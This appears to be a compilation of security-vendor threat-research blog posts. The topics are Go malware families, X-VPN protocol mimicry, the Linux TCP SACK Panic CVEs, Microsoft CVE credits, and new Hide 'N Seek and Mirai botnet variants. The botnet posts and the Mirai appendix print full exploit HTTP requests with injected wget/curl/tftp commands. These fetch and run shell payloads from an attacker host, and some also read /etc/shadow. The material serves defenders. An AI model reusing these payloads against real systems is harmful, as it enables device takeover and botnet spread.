GoBot2 1025 (12.8%)
HERCULES 475 (5.9%)
CHAOS 471 (5.9%)
Generic Coinminer 406 (5.1%)
Infostealer 360 (4.5%)
TinyBanker 182 (2.3%)
GoBrut 165 (2.1%)
Neshta 164 (2.1%)
ARCANUS 150 (1.9%)
Gandalf Botnet 120 (1.5%)
hershell 86 (1.1%)
rocke 60 (0.75%)
Infostealer Variant B 44 (0.55%)
GoBot 43 (0.53%)
Shellcode Loader Variant B 41 (0.51%)
Downloader Variant D 41 (0.51%)
ShurL0ckr 37 (0.46%)
Mirai 36 (0.45%)
merlin 35 (0.44%)
EGESPLOIT 32 (0.4%)
Downloader Variant B 32 (0.4%)
Mauri870 Ransomware Family 27 (0.34%)
nett Botnet 21 (0.26%)
gscript 18 (0.23%)
Malicious FireFox Extension Loader 14 (0.18%)
Supic Backdoor 12 (0.15%)
r2r2 11 (0.14%)
RobbinHood 10 (0.13%)
jimm Ransomware 9 (0.11%)
braincrypt 9 (0.11%)
Rakos 8 (0.1%)
TrumpHead Ransomware 7 (0.08%)
HTRAN 7 (0.08%)
Keylogger Variant A 7 (0.08%)
YourRansom Ransomware 5 (0.06%)
RDW 5 (0.06%)
Ransomware Variant A 5 (0.06%)
Italian Downloader 4 (0.05%)
Scanner Variant A 4 (0.05%)
Shifr Ransomware 4 (0.05%)
Shellcode Loader Variant A 4 (0.05%)
go-bot 3 (0.04%)
Exploit Utility Variant A 3 (0.04%)
Zebrocy 3 (0.04%)
Downloader Variant C 3 (0.04%)
Downloader Variant A 3 (0.04%)
RaaS Ransomware 3 (0.04%)
goshell 2 (0.03%)
TeleGrab 2 (0.03%)
gorsh 2 (0.03%)
Czech Downloader 1 (0.01%)
Bitfinex Lending Bot 1 (0.01%)
TOTAL: 7997 (100%)

Table 1. Go malware families identified.

To provide a different representation of the results, the individual malware families were placed into different categories based on their attributes and purpose. These results are illustrated below:

 

Figure 3. Go Malware Categories.

As we can see, a majority of the files identified are associated with penetration testing activity. While they can be used maliciously as well, penetration testing was their intended purpose. While a majority of the samples had this characteristic, we see a number of malware samples identified that have no legitimate purposes. RATs, Backdoors, Coinminers, and Information Stealers top the list of the remaining categories.

Conclusion

Overall, this research exercise proved to be enlightening to me personally for a number of reasons. While certain preconceived notions around the prevalence of pentesting-related Go malware were indeed confirmed, there was also a wealth of different true malware families present. These malware families ranged from backdoors to botnets to banking Trojans. The overall low number of malware samples identified also was an interesting data point, showing that generally speaking, Go malware still has not gained a significant interest from malware developers. However, the timelines of the identified malware sample’s first seen timestamps indicate that Go malware is gaining popularity. Looking at the specific timeframe of January to March between 2017 to 2019, we see a significant rise where the number of identified malware samples rose by a factor of almost 20 (+1944%).

Go malware is still in its infancy. However, it is gaining attention of both malware developers as well as the security community in general, as new malware families are discovered and published on frequently. Because the developers may compile a single code base against all major operating systems, it is my belief that Go will constitute a much larger market share of developed malware in the years to come, and should be on the security community’s proverbial radar.

All of the research mentioned within this blog post has been used to further protections within Palo Alto Networks’ product suite.

Indicators of Compromise

To assist the security community, I am releasing the full list of hashes and their YARA rule matches. They can be downloaded here.

 

 

Evasion of Security Policies by VPN Clients Poses Great Risk to Network Operators

Posted on by Stefan Achleitner

Executive Summary

Researchers with Palo Alto Networks Unit 42 investigated the tunneling software X-VPN, which uses various evasion techniques to bypass security and policy enforcement mechanisms. X-VPN is a type of Virtual Private Network (VPN) that can be used to bypass internet censorship and traffic policy enforcement points, which poses a great risk to network operators as well as VPN users.

X-VPN is currently one of the most evasive VPN clients, mimicking various popular protocols and services to bypass security policies. As a consequence, protection systems are not able to inspect the data packets, which can allow malicious traffic to enter the network or sensitive information to leave network.

Risks of Evasive VPN Connections

Using VPN clients such as X-VPN will put the user of such software as well as the network operator at risk. Users have to consider the following risks when they decide to use a VPN client:

  • Can the VPN provider be trusted? – When using a VPN, all data from a client is sent to a third party who is able to perform various analysis and logging on the data.
  • Jurisdiction of host-country – Depending where the VPN provider is located, the host country might require the VPN provider to share certain user data with the government. During our analysis of X-VPN we found that many exit nodes are located in different countries, which are often automatically selected by the VPN client.
  • Restricting traffic – Since a VPN provider has complete control over the data from its users, it can throttle or even block connections to various services or favor certain content providers over others.
  • Risks of malware and spyware – VPN clients often access third-party sources and can infect the host with malware or spyware programs. Especially if VPNs use custom encryption, security monitors won’t be able to identify malicious payloads of incoming traffic.
  • Using the client as an exit node – VPN clients may allow its users to connect through an installed client of another end-user. In such a case the end-user who is used as an exit node may be held responsible for any illegal activities other VPN users perform.

Considering the risks associated with VPNs, it is critical that network operators are able to monitor and control the usage of VPNs in their networks. The following section discusses evasion techniques found during our deep analysis of X-VPN.

X-VPN Evasion Techniques

X-VPN’s evasion techniques are based on using custom encryption of TCP and UDP payloads as well as mimicking other application layer protocols such as HTTP, SSL, FTP, NTP, and SMTP. Based on our research, X-VPN uses an estimated 10,000 server instances hosted by public cloud providers and replaces 300-500 server instances with new public IP addresses every day.

To hide the actual payload of data packets, X-VPN mimics connections to popular services such as www.google.com or www.bing.com:

 

Figure 1. X-VPN traffic mimicking web browsing to www.bing.com

As shown in Figure 1, X-VPN mimics HTTP traffic which appears to be web browsing traffic to Bing. The highlighted fields are custom encrypted and either used as command and control traffic or to transmit data between the client software and one of X-VPN’s server instances.

In comparison, Figure 2 shows the HTTP header of real web browsing traffic to www.bing.com

Figure 2. Real traffic to www.bing.com

The same techniques can be observed with SSL traffic, where X-VPN mimics the SSL handshake, e.g. to google.com, as we show in Figure 3.

Figure 3. X-VPN mimicking SSL handshake to www.google.com

Besides the usage of popular services as domain names, we also observed that X-VPN uses generated domains such as 8v9m.com.

In addition to using deceptive HTTP and SSL packets to tunnel data through policy enforcement systems, X-VPN applies the same principle to FTP, SMTP and NTP traffic and hides custom encoded data within fields embedded in packets that appear as benign protocols.

In Figure 4, such an example is shown where the structure of a Simple Mail Transfer Protocol (SMTP) packet which appears to communicate with icloud.com is used by X-VPN to transmit data. The ‘FROM’ and ‘TO’ mail addresses in the SMTP packet stream appear as custom encrypted values. This traffic is assumed to be used by X-VPN for command and control communication.

 

Figure 4. X-VPN mimicking SMTP traffic

A similar method is used by X-VPN to utilize FTP (File Transfer Protocol) traffic where the username and password are custom encrypted to communicate information between client and server in an evasive way as we show in Figure 5.

Figure 5. X-VPN mimicking FTP traffic

Conclusion and Mitigation

Palo Alto Networks can help customers and enterprises by blocking X-VPN and other proxies by a combination of different best practice recommendations. A detailed description on how to configure Palo Alto Networks Firewall to block X-VPN can be found here: Configure Palo Alto Networks Firewall To Block X-VPN

TCP SACK Panics Linux Servers

Posted on by Unit 42

Executive Summary

The newly discovered Linux vulnerabilities, CVE-2019-11477, CVE-2019-11478, and CVE-2019-11479, affect all Linux operating systems newer than kernel 2.6.29 (released on March 2009) or above and can cause a kernel panic to systems with services listening on a TCP connection. This remote attack can put a server into a Denial of Service (DoS) state, but remote code execution is not of concern. The vulnerability roots on the flaws in the TCP Selective Acknowledgement (SACK) and Maximum Segment Size (MSS) implementation. The attack can be triggered by a remote user who sets the MSS to the lowest limit of 48 bytes and sends a sequence of specially crafted SACK packets to overflow the receiver’s socket buffer. Most of the Linux distributions have released a patch, RedHat, Ubuntu, and openSUSE. If immediately patching the system is not possible, the attack can also be blocked by firewall rules or traffic control policies. As the attack is fairly simple, a proof of concept (POC) exploit should be available soon and we expect to see large-scale DDoS attacks within a few days as attackers exploit unprotected systems.

TCP SACK

RedHat gives a detailed description of this attack; we’ve included a brief review of the attack. The TCP SACK attack is achieved by tipping the balance between the sender’s TCP selective acknowledgment (SACK) mechanism and the receiver’s maximum segment size (MSS) settings. SACK is a mechanism used to inform the sender system which TCP packets have been accepted successfully by the receiver and which packets need to be resent. MSS is a setting set by the receiver on how large of a packet can be received by its network. When a receiver’s MSS is set to its lowest setting of only 48 bytes, the sender is required to send more segments to fulfill the request. When a receiver requests a large network transfer, i.e. media, or a large file transfer, the sender begins the monitoring the successful receipt of transmitted packets. However, the imbalance between the receiver’s low MSS capability and the potential for a sender's limited volume to store a long SACK queue can cause an overflow in the sender's SACK queue. This overflow of unsent packets, when large enough, can trigger a kernel panic state causing the DoS.

Impact

Any server with Linux kernel 2.6.29 or above and with open ports running TCP services are vulnerable to this attack. We perform a few queries on Shodan to understand the potential impact of this vulnerability, see Image 1. There are currently 1,944,975 Linux-based servers discoverable on the internet. 543,797 servers have http running on port 80, 152,416 servers have sshd running on port 22, and 126,143 servers have https running on port 443. If no special firewall rules or traffic control policy is enforced on these servers, they can all be potential targets to the attack.

Image 1. Publicly discoverable Linux systems via Shodan

Resolution

This attack targets Linux kernel systems. If you have a Linux system that is running a kernel version of 2.6.29 or higher, the system should be upgraded to the latest Linux release available. If the client is using Google Cloud Platform (GCP), Microsoft Azure, or another Infrastructure as a Service (IaaS), please follow their Linux upgrade procedures to upgrade all Linux systems to the latest release.

Amazon has identified the following services which can fall victim to the identified SACK Panic attack:

  • AWS Elastic Beanstalk
  • Amazon Linux and Amazon Linux 2
  • Amazon Elastic Compute Cloud (EC2)
  • Elastic Load Balancing (ELB)
  • Amazon WorkSpaces (Linux)
  • Amazon Elastic Container Service for Kubernetes (Amazon EKS)
  • Amazon ElastiCache
  • Amazon EMR

Clients who use any or all of the identified Amazon services should update those services to their latest versions. Below is an abbreviated listing of actions to be taken for each of the listed Amazon Services.

AWS Elastic Beanstalk

  • If clients are using Amazon’s Managed Platform Updates, these systems will be updated during the selected maintenance window. If the client has not enabled Managed Platform Updates, the following link will assist them in setting up that process, Managed Platform Updates Guide.

Amazon Linux and Amazon Linux 2

  • New Linux kernels have been uploaded and are available within the Amazon Linux repository. Clients should run the following command in each of their EC2 instances to receive the kernel update.
    sudo yum update kernel

Amazon Elastic Compute Cloud (EC2)

  • Perform the following command within each EC2 instance
    sudo yum update kernel

Elastic Load Balancing (ELB)

  • If your ELBs are configured to be classic load or application balancers, or if they are configured with TLS termination enabled, no action required.If you are running Linux-based EC2 instances within AWS which are not terminating TLS sessions, update the Linux kernels for those systems. Instructions can be found here.

Amazon WorkSpaces (Linux)

  • All new Linux WorkSpaces will be updated automatically and do not require any updates by the client.

Amazon Elastic Container Service for Kubernetes (Amazon EKS)

  • All currently-running EKS clusters are protected against this attack. Clients should replace all worker nodes to use the latest EKS version.

Amazon ElastiCache

  • ElastiCache VPCs to not accept untrusted TCP connections by default and are not affected.
  • If a client has made changes to their default ElastiCache VPC they will need to ensure their ElastiCache security groups follow AWS best practices and configure them to block traffic from untrusted clients. Additional information can be found in Amazon’s VPC and ElastiCache Security page.
  • If a client has an ElastiCache running outside of a VPC and has altered the ElastiCache from the default, should configure their instance using ElastiCache security groups. More information can be found in Amazon’s EC2-Classic Security Group page.

Amazon EMR

  • Amazon EMR launches EC2 instances running Linux into a client’s VPC, and these do not accept untrusted TCP connections by default and are not affected.
  • Any client who has made changes to the EMR VPC should follow AWS best practices and configure them to block traffic from untrusted clients. Additional information can be found in Amazon’s Control Network Traffic with Security Groups page.
  • If clients choose not to configure EMR security groups according to AWS best practices can follow these guidelines:
    • New Clusters - use EMR bootstrap actions to update the Linux Kernel and reboot each instance. Assistance can be found in Amazon’s EMR Bootstrap Plan page.
    • Existing Clusters - Update the Linux kernel on each instance within the cluster and reboot the instances one at a time.

Conclusion

Due to the low complexity and high severity of this vulnerability, it won’t be surprising to see large scale DDoS attacks in a few days. It is critical to update the Linux kernel as soon as possible. For the servers running in the public cloud with TCP services open to the internet, it is even more critical to patch immediately or at least set up firewall rules to block the attack. The resolution guideline provided in this blog should help administrators secure their systems.

 

Unit 42 Discovers 10 New Microsoft Vulnerabilities

Posted on by John Harrison

Palo Alto Networks Unit 42 threat researchers have discovered one new vulnerability addressed by the Microsoft Security Response Center (MSRC) as part of their June 2019 security update release, as well as nine additional vulnerabilities that were addressed in May 2019. The severity of the vulnerabilities discovered were all rated “Important.”

Palo Alto Networks customers who deploy our Next-Generation Security Platform according to best practices and have a Threat Prevention Subscription are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps’ multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates the recognition and credit Microsoft has given our Unit 42 threat researchers. Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Android, and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

For additional information and prioritization for patching vulnerabilities, Palo Alto Networks recommends reviewing the SANS ISC (Internet Storm Center) Microsoft June Vulnerability summary.

 

CVE Vulnerability Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-0909 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Gal De Leon and Bar Lahav
CVE-2019-0863 Windows Error Reporting Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
CVE-2019-0889 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0890 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0891 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0899 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Gal De Leon and Bar Lahav
CVE-2019-0900 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0901 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0902 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0947 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon

Hide ‘N Seek Botnet Updates Arsenal with Exploits Against Nexus Repository Manager & ThinkPHP

Posted on by Ruchna Nigam

Executive Summary

The Hide 'N Seek botnet was first discovered in January 2018 and is known for its unique use of Peer-to-Peer communication between bots.

Since its discovery, the malware family has seen a couple of upgrades, from the addition of persistence and new exploits, to targeting Android devices via the Android Debug Bridge (ADB).

This post details a variant of the family first seen on the 21st of February 2019, incorporating two new exploits - CVE-2018-20062 which targets ThinkPHP installations, and CVE-2019-7238, a Remote Code Execution (RCE) vulnerability in Sonatype Nexus Repository Manager (NXRM) 3 software installations.

While the ThinkPHP exploit has already been seen employed by several Mirai variants, the only other instance of the CVE-2019-7238 vulnerability being exploited in the wild has been by the DDG botnet. Our research, outlined below, shows that the Hide 'N Seek botnet incorporated this exploit back in February 2019, even before the DDG botnet.

Technical Analysis

This newest version of the Hide 'N Seek malware incorporates many of the previously seen features of the malware family including the persistence, the incorporation of exploits, and targeting Android devices via ADB.

In addition to exploits previously used by the malware family, this particular version is unique for its use of the following two new exploits:

  • CVE-2019-7238, which is a RCE vulnerability in Sonatype Nexus Repository Manager installations prior to version 3.15.0. While Proof of Concept (PoC) code for this vulnerability has been publicly available since a few weeks after its public disclosure, the only other instance of it being exploited in the wild has been by the DDG botnet in May 2019. Our research has shown, based on the first seen date for samples of this new Hide 'N Seek version, that the first demonstrated exploitation in the wild was actually February 2019, a full month prior to the DDG botnet. The exploit format is shown below: 

POST /service/extdirect HTTP/1.1

Host: %J

Accept: */*

Content-Type: application/json

Connection: close

Content-Length: %d

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName(',27h,'java.lang.Runtime',27h,').getRuntime().exec(['flock','-w','0','/tmp/l%N','sh','-c','(wget http://%J/%T -O %N||/bin/busybox tftp -g -l %N -r %T %I)&&chmod 777 %N&&./%N a%J a%J',27h,'])"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

  • CVE-2018-20062, is an RCE vulnerability in ThinkPHP. This exploit has frequently been used by Mirai variants in the wild since its public disclosure, however this is the first observed use of it by Hide 'N Seek. The exploit format is shown below: 

GET /?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(wget%20http://%J/%T%20-O%20%N||/bin/busybox%20tftp%20-g%20-l%20%N%20-r%20%T%20%I);chmod%20777%20%N;./%N%20a%J%20a%J

HTTP/1.1

Host: %J

In addition, this Hide 'N Seek variant also exploits the following vulnerabilities which it has used in the past:

In addition to the two new exploits, this new variant also uses an XOR key of 0x87 for string encryption, which is different from previously seen variants. However, the encryption scheme used is the same as has been used by the malware family so far i.e. a cumulative byte-wise XOR. This is better explained by the IDApython code-snippet below:

key=0x87

for addr in range(strstart, strend):

     originalbyte = GetOriginalByte(addr)

     decryptedbyte = originalbyte^(key&0xff)

     PatchByte(addr, decryptedbyte)

     key += decryptedbyte

As seen in previous samples this malware family contains a list of hard-coded peers for P2P communication. The list of hard-coded peers in this new variant differs from samples seen in the past. The hard-coded peer IPs and ports in these samples can be found on our Github page here.

Conclusion

Since its discovery, the Hide `N Seek P2P Linux botnet has evolved to incorporate several new exploits to widen the range of devices it can infect. In this instance, the newly discovered variant added two recent vulnerabilities to its arsenal. In particular, it added an exploit targeting CVE-2019-7238, which, based on the dates of appearance of samples, makes this the earliest exploitation of the vulnerability in the wild.

Palo Alto Networks customers are protected by:

  • WildFire, which detects all related samples with malicious verdicts
  • Threat Prevention, which blocks all exploits used by this variant.

The malware family can be tracked in AutoFocus using the tag HideNSeek.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

First Seen SHA256 Targeted Architecture
2019-02-21 49495c9aa08d7859fec1f99f487560b59d8a8914811746181e4e7edbee85341f x86 64-bit
2019-02-21 d068e8f781879774f0bcc1f2a116211d41194b67024fe45966c8272a8038a7a1 ARM
2019-03-15 1583fd1c6607b77f51411c4ad7c9225324fd1b069645062a348cd885de0ac382

7e20c6cea88ade6a6c4a08ce48fe4ac2451069b7662a8dda4362a304b4854ec7

 ARM
2019-03-20 0b05202f4da9bbe1af1811707a76544453282c4f3c0ac9b353759c86742f4369 MIPS big endian
2019-03-22 73df4e952c581afc427fa18fa2d0bcfa409c1814cd872a3ccf05d44f934ce780 MIPS little endian
2019-05-24 c082c39e595c7f23c04ce0d6597657d6e649585d5da49b5bd896e664b712e60d MIPS big endian
2019-05-26 500dd4c1a5c24495c3bb8173ce5c7b15ba3344aef855090b9b9585b2bfeea974 x86

 Table 1. Sample IOCs for new Hide ‘N Seek variant

New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices

Posted on by Ruchna Nigam

Executive Summary

Palo Alto Networks Unit 42 has been tracking the evolution of the Mirai malware, known for targeting embedded devices with the primary intent of launching DDoS attacks and self-propagation, since 2016 when it took down several notable targets.

As part of this ongoing research, we’ve recently discovered a new variant of Mirai that has eight new exploits against a wide range of embedded devices. These newly targeted devices range from wireless presentation systems to set-top-boxes, SD-WANs, and even smart home controllers.

Mirai initially made use of default credentials to gain access to devices. However, since the end of 2017, samples of the family have increasingly been observed making use of publicly available exploits to propagate and run on vulnerable devices.

2018 saw a continued increase in the emergence of campaigns involving variants incorporating several exploits within the same sample, allowing for the harvesting of several different kinds of IoT devices into the same botnet.

Since then we have also observed Mirai malware authors experimenting with new exploits, found on the publicly available exploit-db, to gauge gains in bot count from the use of these exploits. This latest new variant we’ve observed and detailed in this post appears to be a continuation of the same trend.

Exploits

This latest variant contains a total of 18 exploits, 8 of which are new to Mirai. The vulnerabilities being exploited in the wild by this new Mirai variant for the first time are listed below with more details in Table 1 in the Appendix:

The new samples also include four exploits which have only been used by Mirai in the past:

These new samples also include exploits targeting the Oracle WebLogic Servers RCE vulnerability which has been used by both Linux and Windows botnets.

All of the exploits that have already been seen exploited by Mirai in the past have been listed in Table 3 in the Appendix.

Analysis

The new variant we have discovered also has other distinguishing features from the use of the exploits mentioned above.

  • The encryption key used for the string table is 0xDFDAACFD, which is the equivalent of a byte wise XOR with 0x54, based on the standard encryption scheme (as implemented in the toggle_obf function) used in the original Mirai source code.
  • There are several default credentials used for brute force we have not come across previously in our research (though we cannot confirm this is their first use with Mirai). These are listed in Table 2 in the Appendix along with the devices that make use of them - of note, all of these credentials can be found online.

Infrastructure

The samples were available at an open directory pictured in Figure 1:

Figure 1. Open directory hosting Mirai variant

Samples of this variant use two domains for C2, at different ports in the different versions, as explained below.

The latest version makes use of the two domains below for C2.

  • akuma[.]pw :17
  • akumaiotsolutions[.]pw:912

While the two domains don't currently resolve to any IP, a search on Shodan for the IP address hosting the samples, indicates port 17 at that address was used for C2 at some point of time. This is seen in the response recorded from port 17 in the screenshot which is the expected response from a Mirai C2 server based on how the C2 code is written in the original source code.

Figure 2. Shodan search result indicating 31.13.195[.]251:17 was used for C2 at one point

The directory hosting the malware was updated a couple of times, before the final version was uploaded at 26-May-2019 10:05 (server time). Each of the updates were minor where the attackers either edited C2 port numbers or slightly updated the payload.

File upload times:

  • 26-May-2019 10:05
  • 21-May-2019 16:34
  • 21-May-2019 08:38
  • 19-May-2019 06:05

The briefly available version from May 21, 2019 at 08:38 made use of the below two domains for C2. They are the same domains as used by the other samples (uploaded on prior or later dates) but the ports are different.

  • akuma[.]pw:1822
  • akumaiotsolutions[.]pw:721

Conclusion

This newly discovered variant is a continuation of efforts by Linux malware authors to scout for a wider range and thus, larger number, of IoT devices to form larger botnets thereby affording them greater firepower for DDoS attacks. Based on the results observed by using such variants, the exploits that are more effective i.e. the ones that infect a greater number of devices are retained or reused in future variants whereas the less effective ones are retired or replaced by malware authors with other exploits.

Palo Alto Networks customers are protected by:

  • WildFire which detects all related samples with malicious verdicts
  • Threat Prevention and PANDB that block all exploits and IPs/URLs used by this variant.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag Mirai.

Appendix

Vulnerability Affected Devices Exploit Format
CVE-2019-3929 Wireless Presentation Systems from several vendors  

POST /cgi-bin/file_transfer.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

 

file_transfer=new&dir='Pa_Notecd wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*Pa_Note
OpenDreamBox Remote Code Execution Devices running OpenDreamBox 2.0.0 - an embedded Linux distribution for Set-Top-Boxes POST /webadmin/script?command=|wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.* HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive
CVE-2018-6961 VMware NSX SD-WAN Edge < 3.1.2 POST /scripts/ajaxPortal.lua HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.vmware.com

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Cookie: culture=en-us

Connection: close

 

destination=8.8.8.8$(wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&source=192.168.0.1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic

name=google.com$(cat /etc/shadow |wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic

destination=8.8.8.8$(cat /etc/shadow |wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&source=192.168.0.1&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic

 
CVE-2018-7841 Schneider Electric U.motion LifeSpace Management Systems POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4

Content-Type: application/x-www-form-urlencoded

Content-Length: 86

 

op=export&language=english&interval=1&object_id=\x60wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60
Dell KACE Remote Code Execution Dell KACE Systems Management Appliances POST /service/krashrpt.php HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept: /

User-Agent: Hello-World

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

 

kuid=\x60id | wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60
CVE-2017-5174 Geutebrück IP Cameras POST /uapi-cgi/viewer/testaction.cgi HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

ip: eth0 1.1.1.1; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*

Accept: /

User-Agent: Hello-World

Connection: keep-alive
